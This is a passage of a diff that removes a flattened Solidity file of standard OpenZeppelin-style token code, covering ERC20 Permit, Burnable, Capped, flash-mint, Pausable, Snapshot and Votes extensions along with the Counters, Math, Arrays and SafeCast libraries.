-     * @dev Returns the domain separator for the current chain.
-     */
-    function _domainSeparatorV4() internal view returns (bytes32) {
-        if (block.chainid == _CACHED_CHAIN_ID) {
-            return _CACHED_DOMAIN_SEPARATOR;
-        } else {
-            return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
-        }
-    }
-
-    function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
-        return keccak256(
-            abi.encode(
-                typeHash,
-                name,
-                version,
-                block.chainid,
-                address(this)
-            )
-        );
-    }
-
-    /**
-     * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
-     * function returns the hash of the fully encoded EIP712 message for this domain.
-     *
-     * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
-     *
-     * ```solidity
-     * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
-     *     keccak256("Mail(address to,string contents)"),
-     *     mailTo,
-     *     keccak256(bytes(mailContents))
-     * )));
-     * address signer = ECDSA.recover(digest, signature);
-     * ```
-     */
-    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
-        return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
-    }
-}
-
-
-// File contracts/utils/Counters.sol
-
-
-
-
-
-/**
- * @title Counters
- * @author Matt Condon (@shrugs)
- * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
- * of elements in a mapping, issuing ERC721 ids, or counting request ids.
- *
- * Include with `using Counters for Counters.Counter;`
- */
-library Counters {
-    struct Counter {
-        // This variable should never be directly accessed by users of the library: interactions must be restricted to
-        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
-        // this feature: see https://github.com/ethereum/solidity/issues/4637
-        uint256 _value; // default: 0
-    }
-
-    function current(Counter storage counter) internal view returns (uint256) {
-        return counter._value;
-    }
-
-    function increment(Counter storage counter) internal {
-        unchecked {
-            counter._value += 1;
-        }
-    }
-
-    function decrement(Counter storage counter) internal {
-        uint256 value = counter._value;
-        require(value > 0, "Counter: decrement overflow");
-        unchecked {
-            counter._value = value - 1;
-        }
-    }
-
-    function reset(Counter storage counter) internal {
-        counter._value = 0;
-    }
-}
-
-
-// File contracts/extensions/draft-ERC20Permit.sol
-
-
-
-
-
-
-
-
-
-/**
- * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
- * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
- *
- * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
- * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
- * need to send a transaction, and thus is not required to hold Ether at all.
- *
- * _Available since v3.4._
- */
-abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
-    using Counters for Counters.Counter;
-
-    mapping (address => Counters.Counter) private _nonces;
-
-    // solhint-disable-next-line var-name-mixedcase
-    bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
-
-    /**
-     * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
-     *
-     * It's a good idea to use the same `name` that is defined as the ERC20 token name.
-     */
-    constructor(string memory name) EIP712(name, "1") {
-    }
-
-    /**
-     * @dev See {IERC20Permit-permit}.
-     */
-    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
-        // solhint-disable-next-line not-rely-on-time
-        require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
-
-        bytes32 structHash = keccak256(
-            abi.encode(
-                _PERMIT_TYPEHASH,
-                owner,
-                spender,
-                value,
-                _useNonce(owner),
-                deadline
-            )
-        );
-
-        bytes32 hash = _hashTypedDataV4(structHash);
-
-        address signer = ECDSA.recover(hash, v, r, s);
-        require(signer == owner, "ERC20Permit: invalid signature");
-
-        _approve(owner, spender, value);
-    }
-
-    /**
-     * @dev See {IERC20Permit-nonces}.
-     */
-    function nonces(address owner) public view virtual override returns (uint256) {
-        return _nonces[owner].current();
-    }
-
-    /**
-     * @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
-     */
-    // solhint-disable-next-line func-name-mixedcase
-    function DOMAIN_SEPARATOR() external view override returns (bytes32) {
-        return _domainSeparatorV4();
-    }
-
-    /**
-     * @dev "Consume a nonce": return the current value and increment.
-     *
-     * _Available since v4.1._
-     */
-    function _useNonce(address owner) internal virtual returns (uint256 current) {
-        Counters.Counter storage nonce = _nonces[owner];
-        current = nonce.current();
-        nonce.increment();
-    }
-}
-
-
-// File contracts/extensions/ERC20Burnable.sol
-
-
-
-
-
-
-/**
- * @dev Extension of {ERC20} that allows token holders to destroy both their own
- * tokens and those that they have an allowance for, in a way that can be
- * recognized off-chain (via event analysis).
- */
-abstract contract ERC20Burnable is Context, ERC20 {
-    /**
-     * @dev Destroys `amount` tokens from the caller.
-     *
-     * See {ERC20-_burn}.
-     */
-    function burn(uint256 amount) public virtual {
-        _burn(_msgSender(), amount);
-    }
-
-    /**
-     * @dev Destroys `amount` tokens from `account`, deducting from the caller's
-     * allowance.
-     *
-     * See {ERC20-_burn} and {ERC20-allowance}.
-     *
-     * Requirements:
-     *
-     * - the caller must have allowance for ``accounts``'s tokens of at least
-     * `amount`.
-     */
-    function burnFrom(address account, uint256 amount) public virtual {
-        uint256 currentAllowance = allowance(account, _msgSender());
-        require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
-        unchecked {
-            _approve(account, _msgSender(), currentAllowance - amount);
-        }
-        _burn(account, amount);
-    }
-}
-
-
-// File contracts/extensions/ERC20Capped.sol
-
-
-
-
-
-/**
- * @dev Extension of {ERC20} that adds a cap to the supply of tokens.
- */
-abstract contract ERC20Capped is ERC20 {
-    uint256 immutable private _cap;
-
-    /**
-     * @dev Sets the value of the `cap`. This value is immutable, it can only be
-     * set once during construction.
-     */
-    constructor (uint256 cap_) {
-        require(cap_ > 0, "ERC20Capped: cap is 0");
-        _cap = cap_;
-    }
-
-    /**
-     * @dev Returns the cap on the token's total supply.
-     */
-    function cap() public view virtual returns (uint256) {
-        return _cap;
-    }
-
-    /**
-     * @dev See {ERC20-_mint}.
-     */
-    function _mint(address account, uint256 amount) internal virtual override {
-        require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
-        super._mint(account, amount);
-    }
-}
-
-
-// File contracts/extensions/IERC3156.sol
-
-
-
-
-
-/**
- * @dev Interface of the ERC3156 FlashBorrower, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- *
- * _Available since v4.1._
- */
-interface IERC3156FlashBorrower {
-    /**
-     * @dev Receive a flash loan.
-     * @param initiator The initiator of the loan.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @param fee The additional amount of tokens to repay.
-     * @param data Arbitrary data structure, intended to contain user-defined parameters.
-     * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
-     */
-    function onFlashLoan(
-        address initiator,
-        address token,
-        uint256 amount,
-        uint256 fee,
-        bytes calldata data
-    ) external returns (bytes32);
-}
-
-/**
- * @dev Interface of the ERC3156 FlashLender, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- */
-interface IERC3156FlashLender {
-    /**
-     * @dev The amount of currency available to be lended.
-     * @param token The loan currency.
-     * @return The amount of `token` that can be borrowed.
-     */
-    function maxFlashLoan(
-        address token
-    ) external view returns (uint256);
-
-    /**
-     * @dev The fee to be charged for a given loan.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @return The amount of `token` to be charged for the loan, on top of the returned principal.
-     */
-    function flashFee(
-        address token,
-        uint256 amount
-    ) external view returns (uint256);
-
-    /**
-     * @dev Initiate a flash loan.
-     * @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @param data Arbitrary data structure, intended to contain user-defined parameters.
-     */
-    function flashLoan(
-        IERC3156FlashBorrower receiver,
-        address token,
-        uint256 amount,
-        bytes calldata data
-    ) external returns (bool);
- }
-
-
-// File contracts/extensions/ERC20FlashMint.sol
-
-
-
-
-
-
-/**
- * @dev Implementation of the ERC3156 Flash loans extension, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- *
- * Adds the {flashLoan} method, which provides flash loan support at the token
- * level. By default there is no fee, but this can be changed by overriding {flashFee}.
- *
- * _Available since v4.1._
- */
-abstract contract ERC20FlashMint is ERC20, IERC3156FlashLender {
-    bytes32 constant private RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
-
-    /**
-     * @dev Returns the maximum amount of tokens available for loan.
-     * @param token The address of the token that is requested.
-     * @return The amont of token that can be loaned.
-     */
-    function maxFlashLoan(address token) public view override returns (uint256) {
-        return token == address(this) ? type(uint256).max - ERC20.totalSupply() : 0;
-    }
-
-    /**
-     * @dev Returns the fee applied when doing flash loans. By default this
-     * implementation has 0 fees. This function can be overloaded to make
-     * the flash loan mechanism deflationary.
-     * @param token The token to be flash loaned.
-     * @param amount The amount of tokens to be loaned.
-     * @return The fees applied to the corresponding flash loan.
-     */
-    function flashFee(address token, uint256 amount) public view virtual override returns (uint256) {
-        require(token == address(this), "ERC20FlashMint: wrong token");
-        // silence warning about unused variable without the addition of bytecode.
-        amount;
-        return 0;
-    }
-
-    /**
-     * @dev Performs a flash loan. New tokens are minted and sent to the
-     * `receiver`, who is required to implement the {IERC3156FlashBorrower}
-     * interface. By the end of the flash loan, the receiver is expected to own
-     * amount + fee tokens and have them approved back to the token contract itself so
-     * they can be burned.
-     * @param receiver The receiver of the flash loan. Should implement the
-     * {IERC3156FlashBorrower.onFlashLoan} interface.
-     * @param token The token to be flash loaned. Only `address(this)` is
-     * supported.
-     * @param amount The amount of tokens to be loaned.
-     * @param data An arbitrary datafield that is passed to the receiver.
-     * @return `true` is the flash loan was successfull.
-     */
-    function flashLoan(
-        IERC3156FlashBorrower receiver,
-        address token,
-        uint256 amount,
-        bytes calldata data
-    )
-        public virtual override returns (bool)
-    {
-        uint256 fee = flashFee(token, amount);
-        _mint(address(receiver), amount);
-        require(receiver.onFlashLoan(msg.sender, token, amount, fee, data) == RETURN_VALUE, "ERC20FlashMint: invalid return value");
-        uint256 currentAllowance = allowance(address(receiver), address(this));
-        require(currentAllowance >= amount + fee, "ERC20FlashMint: allowance does not allow refund");
-        _approve(address(receiver), address(this), currentAllowance - amount - fee);
-        _burn(address(receiver), amount + fee);
-        return true;
-    }
-}
-
-
-// File contracts/extensions/Pausable.sol
-
-
-
-
-
-/**
- * @dev Contract module which allows children to implement an emergency stop
- * mechanism that can be triggered by an authorized account.
- *
- * This module is used through inheritance. It will make available the
- * modifiers `whenNotPaused` and `whenPaused`, which can be applied to
- * the functions of your contract. Note that they will not be pausable by
- * simply including this module, only once the modifiers are put in place.
- */
-abstract contract Pausable is Context {
-    /**
-     * @dev Emitted when the pause is triggered by `account`.
-     */
-    event Paused(address account);
-
-    /**
-     * @dev Emitted when the pause is lifted by `account`.
-     */
-    event Unpaused(address account);
-
-    bool private _paused;
-
-    /**
-     * @dev Initializes the contract in unpaused state.
-     */
-    constructor () {
-        _paused = false;
-    }
-
-    /**
-     * @dev Returns true if the contract is paused, and false otherwise.
-     */
-    function paused() public view virtual returns (bool) {
-        return _paused;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is not paused.
-     *
-     * Requirements:
-     *
-     * - The contract must not be paused.
-     */
-    modifier whenNotPaused() {
-        require(!paused(), "Pausable: paused");
-        _;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is paused.
-     *
-     * Requirements:
-     *
-     * - The contract must be paused.
-     */
-    modifier whenPaused() {
-        require(paused(), "Pausable: not paused");
-        _;
-    }
-
-    /**
-     * @dev Triggers stopped state.
-     *
-     * Requirements:
-     *
-     * - The contract must not be paused.
-     */
-    function _pause() internal virtual whenNotPaused {
-        _paused = true;
-        emit Paused(_msgSender());
-    }
-
-    /**
-     * @dev Returns to normal state.
-     *
-     * Requirements:
-     *
-     * - The contract must be paused.
-     */
-    function _unpause() internal virtual whenPaused {
-        _paused = false;
-        emit Unpaused(_msgSender());
-    }
-}
-
-
-// File contracts/extensions/ERC20Pausable.sol
-
-
-
-
-
-
-/**
- * @dev ERC20 token with pausable token transfers, minting and burning.
- *
- * Useful for scenarios such as preventing trades until the end of an evaluation
- * period, or having an emergency switch for freezing all token transfers in the
- * event of a large bug.
- */
-abstract contract ERC20Pausable is ERC20, Pausable {
-    /**
-     * @dev See {ERC20-_beforeTokenTransfer}.
-     *
-     * Requirements:
-     *
-     * - the contract must not be paused.
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-        super._beforeTokenTransfer(from, to, amount);
-
-        require(!paused(), "ERC20Pausable: token transfer while paused");
-    }
-}
-
-
-// File contracts/utils/Math.sol
-
-
-
-
-
-/**
- * @dev Standard math utilities missing in the Solidity language.
- */
-library Math {
-    /**
-     * @dev Returns the largest of two numbers.
-     */
-    function max(uint256 a, uint256 b) internal pure returns (uint256) {
-        return a >= b ? a : b;
-    }
-
-    /**
-     * @dev Returns the smallest of two numbers.
-     */
-    function min(uint256 a, uint256 b) internal pure returns (uint256) {
-        return a < b ? a : b;
-    }
-
-    /**
-     * @dev Returns the average of two numbers. The result is rounded towards
-     * zero.
-     */
-    function average(uint256 a, uint256 b) internal pure returns (uint256) {
-        // (a + b) / 2 can overflow, so we distribute.
-        return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
-    }
-
-    /**
-     * @dev Returns the ceiling of the division of two numbers.
-     *
-     * This differs from standard division with `/` in that it rounds up instead
-     * of rounding down.
-     */
-    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
-        // (a + b - 1) / b can overflow on addition, so we distribute.
-        return a / b + (a % b == 0 ? 0 : 1);
-    }
-}
-
-
-// File contracts/utils/Arrays.sol
-
-
-
-
-
-/**
- * @dev Collection of functions related to array types.
- */
-library Arrays {
-   /**
-     * @dev Searches a sorted `array` and returns the first index that contains
-     * a value greater or equal to `element`. If no such index exists (i.e. all
-     * values in the array are strictly less than `element`), the array length is
-     * returned. Time complexity O(log n).
-     *
-     * `array` is expected to be sorted in ascending order, and to contain no
-     * repeated elements.
-     */
-    function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
-        if (array.length == 0) {
-            return 0;
-        }
-
-        uint256 low = 0;
-        uint256 high = array.length;
-
-        while (low < high) {
-            uint256 mid = Math.average(low, high);
-
-            // Note that mid will always be strictly less than high (i.e. it will be a valid array index)
-            // because Math.average rounds down (it does integer division with truncation).
-            if (array[mid] > element) {
-                high = mid;
-            } else {
-                low = mid + 1;
-            }
-        }
-
-        // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
-        if (low > 0 && array[low - 1] == element) {
-            return low - 1;
-        } else {
-            return low;
-        }
-    }
-}
-
-
-// File contracts/extensions/ERC20Snapshot.sol
-
-
-
-
-
-
-
-/**
- * @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
- * total supply at the time are recorded for later access.
- *
- * This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
- * In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
- * accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
- * used to create an efficient ERC20 forking mechanism.
- *
- * Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
- * snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
- * id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
- * and the account address.
- *
- * NOTE: Snapshot policy can be customized by overriding the {_getCurrentSnapshotId} method. For example, having it
- * return `block.number` will trigger the creation of snapshot at the begining of each new block. When overridding this
- * function, be careful about the monotonicity of its result. Non-monotonic snapshot ids will break the contract.
- *
- * Implementing snapshots for every block using this method will incur significant gas costs. For a gas-efficient
- * alternative consider {ERC20Votes}.
- *
- * ==== Gas Costs
- *
- * Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
- * n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
- * smaller since identical balances in subsequent snapshots are stored as a single entry.
- *
- * There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
- * only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
- * transfers will have normal cost until the next snapshot, and so on.
- */
-
-abstract contract ERC20Snapshot is ERC20 {
-    // Inspired by Jordi Baylina's MiniMeToken to record historical balances:
-    // https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
-
-    using Arrays for uint256[];
-    using Counters for Counters.Counter;
-
-    // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
-    // Snapshot struct, but that would impede usage of functions that work on an array.
-    struct Snapshots {
-        uint256[] ids;
-        uint256[] values;
-    }
-
-    mapping (address => Snapshots) private _accountBalanceSnapshots;
-    Snapshots private _totalSupplySnapshots;
-
-    // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
-    Counters.Counter private _currentSnapshotId;
-
-    /**
-     * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
-     */
-    event Snapshot(uint256 id);
-
-    /**
-     * @dev Creates a new snapshot and returns its snapshot id.
-     *
-     * Emits a {Snapshot} event that contains the same id.
-     *
-     * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
-     * set of accounts, for example using {AccessControl}, or it may be open to the public.
-     *
-     * [WARNING]
-     * ====
-     * While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
-     * you must consider that it can potentially be used by attackers in two ways.
-     *
-     * First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
-     * logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
-     * specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
-     * section above.
-     *
-     * We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
-     * ====
-     */
-    function _snapshot() internal virtual returns (uint256) {
-        _currentSnapshotId.increment();
-
-        uint256 currentId = _getCurrentSnapshotId();
-        emit Snapshot(currentId);
-        return currentId;
-    }
-
-    /**
-     * @dev Get the current snapshotId
-     */
-    function _getCurrentSnapshotId() internal view virtual returns (uint256) {
-        return _currentSnapshotId.current();
-    }
-
-    /**
-     * @dev Retrieves the balance of `account` at the time `snapshotId` was created.
-     */
-    function balanceOfAt(address account, uint256 snapshotId) public view virtual returns (uint256) {
-        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
-
-        return snapshotted ? value : balanceOf(account);
-    }
-
-    /**
-     * @dev Retrieves the total supply at the time `snapshotId` was created.
-     */
-    function totalSupplyAt(uint256 snapshotId) public view virtual returns(uint256) {
-        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
-
-        return snapshotted ? value : totalSupply();
-    }
-
-    // Update balance and/or total supply snapshots before the values are modified. This is implemented
-    // in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations.
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-      super._beforeTokenTransfer(from, to, amount);
-
-      if (from == address(0)) {
-        // mint
-        _updateAccountSnapshot(to);
-        _updateTotalSupplySnapshot();
-      } else if (to == address(0)) {
-        // burn
-        _updateAccountSnapshot(from);
-        _updateTotalSupplySnapshot();
-      } else {
-        // transfer
-        _updateAccountSnapshot(from);
-        _updateAccountSnapshot(to);
-      }
-    }
-
-    function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
-        private view returns (bool, uint256)
-    {
-        require(snapshotId > 0, "ERC20Snapshot: id is 0");
-        require(snapshotId <= _getCurrentSnapshotId(), "ERC20Snapshot: nonexistent id");
-
-        // When a valid snapshot is queried, there are three possibilities:
-        //  a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
-        //  created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
-        //  to this id is the current one.
-        //  b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
-        //  requested id, and its value is the one to return.
-        //  c) More snapshots were created after the requested one, and the queried value was later modified. There will be
-        //  no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
-        //  larger than the requested one.
-        //
-        // In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
-        // it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
-        // exactly this.
-
-        uint256 index = snapshots.ids.findUpperBound(snapshotId);
-
-        if (index == snapshots.ids.length) {
-            return (false, 0);
-        } else {
-            return (true, snapshots.values[index]);
-        }
-    }
-
-    function _updateAccountSnapshot(address account) private {
-        _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
-    }
-
-    function _updateTotalSupplySnapshot() private {
-        _updateSnapshot(_totalSupplySnapshots, totalSupply());
-    }
-
-    function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
-        uint256 currentId = _getCurrentSnapshotId();
-        if (_lastSnapshotId(snapshots.ids) < currentId) {
-            snapshots.ids.push(currentId);
-            snapshots.values.push(currentValue);
-        }
-    }
-
-    function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
-        if (ids.length == 0) {
-            return 0;
-        } else {
-            return ids[ids.length - 1];
-        }
-    }
-}
-
-
-// File contracts/utils/SafeCast.sol
-
-
-
-
-
-/**
- * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
- * checks.
- *
- * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
- * easily result in undesired exploitation or bugs, since developers usually
- * assume that overflows raise errors. `SafeCast` restores this intuition by
- * reverting the transaction when such an operation overflows.
- *
- * Using this library instead of the unchecked operations eliminates an entire
- * class of bugs, so it's recommended to use it always.
- *
- * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
- * all math on `uint256` and `int256` and then downcasting.
- */
-library SafeCast {
-    /**
-     * @dev Returns the downcasted uint224 from uint256, reverting on
-     * overflow (when the input is greater than largest uint224).
-     *
-     * Counterpart to Solidity's `uint224` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 224 bits
-     */
-    function toUint224(uint256 value) internal pure returns (uint224) {
-        require(value <= type(uint224).max, "SafeCast: value doesn\'t fit in 224 bits");
-        return uint224(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint128 from uint256, reverting on
-     * overflow (when the input is greater than largest uint128).
-     *
-     * Counterpart to Solidity's `uint128` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 128 bits
-     */
-    function toUint128(uint256 value) internal pure returns (uint128) {
-        require(value <= type(uint128).max, "SafeCast: value doesn\'t fit in 128 bits");
-        return uint128(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint96 from uint256, reverting on
-     * overflow (when the input is greater than largest uint96).
-     *
-     * Counterpart to Solidity's `uint96` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 96 bits
-     */
-    function toUint96(uint256 value) internal pure returns (uint96) {
-        require(value <= type(uint96).max, "SafeCast: value doesn\'t fit in 96 bits");
-        return uint96(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint64 from uint256, reverting on
-     * overflow (when the input is greater than largest uint64).
-     *
-     * Counterpart to Solidity's `uint64` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 64 bits
-     */
-    function toUint64(uint256 value) internal pure returns (uint64) {
-        require(value <= type(uint64).max, "SafeCast: value doesn\'t fit in 64 bits");
-        return uint64(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint32 from uint256, reverting on
-     * overflow (when the input is greater than largest uint32).
-     *
-     * Counterpart to Solidity's `uint32` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 32 bits
-     */
-    function toUint32(uint256 value) internal pure returns (uint32) {
-        require(value <= type(uint32).max, "SafeCast: value doesn\'t fit in 32 bits");
-        return uint32(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint16 from uint256, reverting on
-     * overflow (when the input is greater than largest uint16).
-     *
-     * Counterpart to Solidity's `uint16` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 16 bits
-     */
-    function toUint16(uint256 value) internal pure returns (uint16) {
-        require(value <= type(uint16).max, "SafeCast: value doesn\'t fit in 16 bits");
-        return uint16(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint8 from uint256, reverting on
-     * overflow (when the input is greater than largest uint8).
-     *
-     * Counterpart to Solidity's `uint8` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 8 bits.
-     */
-    function toUint8(uint256 value) internal pure returns (uint8) {
-        require(value <= type(uint8).max, "SafeCast: value doesn\'t fit in 8 bits");
-        return uint8(value);
-    }
-
-    /**
-     * @dev Converts a signed int256 into an unsigned uint256.
-     *
-     * Requirements:
-     *
-     * - input must be greater than or equal to 0.
-     */
-    function toUint256(int256 value) internal pure returns (uint256) {
-        require(value >= 0, "SafeCast: value must be positive");
-        return uint256(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int128 from int256, reverting on
-     * overflow (when the input is less than smallest int128 or
-     * greater than largest int128).
-     *
-     * Counterpart to Solidity's `int128` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 128 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt128(int256 value) internal pure returns (int128) {
-        require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn\'t fit in 128 bits");
-        return int128(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int64 from int256, reverting on
-     * overflow (when the input is less than smallest int64 or
-     * greater than largest int64).
-     *
-     * Counterpart to Solidity's `int64` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 64 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt64(int256 value) internal pure returns (int64) {
-        require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn\'t fit in 64 bits");
-        return int64(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int32 from int256, reverting on
-     * overflow (when the input is less than smallest int32 or
-     * greater than largest int32).
-     *
-     * Counterpart to Solidity's `int32` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 32 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt32(int256 value) internal pure returns (int32) {
-        require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn\'t fit in 32 bits");
-        return int32(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int16 from int256, reverting on
-     * overflow (when the input is less than smallest int16 or
-     * greater than largest int16).
-     *
-     * Counterpart to Solidity's `int16` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 16 bits
-     *
-     * _Available since v3.1._
-     */
-    function toInt16(int256 value) internal pure returns (int16) {
-        require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn\'t fit in 16 bits");
-        return int16(value);
-    }
-
-    /**
-     * @dev Returns the downcasted int8 from int256, reverting on
-     * overflow (when the input is less than smallest int8 or
-     * greater than largest int8).
-     *
-     * Counterpart to Solidity's `int8` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 8 bits.
-     *
-     * _Available since v3.1._
-     */
-    function toInt8(int256 value) internal pure returns (int8) {
-        require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn\'t fit in 8 bits");
-        return int8(value);
-    }
-
-    /**
-     * @dev Converts an unsigned uint256 into a signed int256.
-     *
-     * Requirements:
-     *
-     * - input must be less than or equal to maxInt256.
-     */
-    function toInt256(uint256 value) internal pure returns (int256) {
-        // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
-        require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
-        return int256(value);
-    }
-}
-
-
-// File contracts/extensions/ERC20Votes.sol
-
-
-
-
-
-
-
-
-/**
- * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
- * and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
- *
- * NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
- *
- * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
- * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
- * power can be queried through the public accessors {getVotes} and {getPastVotes}.
- *
- * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
- * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
- * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
- * will significantly increase the base gas cost of transfers.
- *
- * _Available since v4.2._
- */
-abstract contract ERC20Votes is ERC20Permit {
-    struct Checkpoint {
-        uint32  fromBlock;
-        uint224 votes;
-    }
-
-    bytes32 private constant _DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
-
-    mapping (address => address) private _delegates;
-    mapping (address => Checkpoint[]) private _checkpoints;
-    Checkpoint[] private _totalSupplyCheckpoints;
-
-    /**
-     * @dev Emitted when an account changes their delegate.
-     */
-    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
-
-    /**
-     * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.
-     */
-    event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
-
-    /**
-     * @dev Get the `pos`-th checkpoint for `account`.
-     */
-    function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
-        return _checkpoints[account][pos];
-    }
-
-    /**
-     * @dev Get number of checkpoints for `account`.
-     */
-    function numCheckpoints(address account) public view virtual returns (uint32) {
-        return SafeCast.toUint32(_checkpoints[account].length);
-    }
-
-    /**
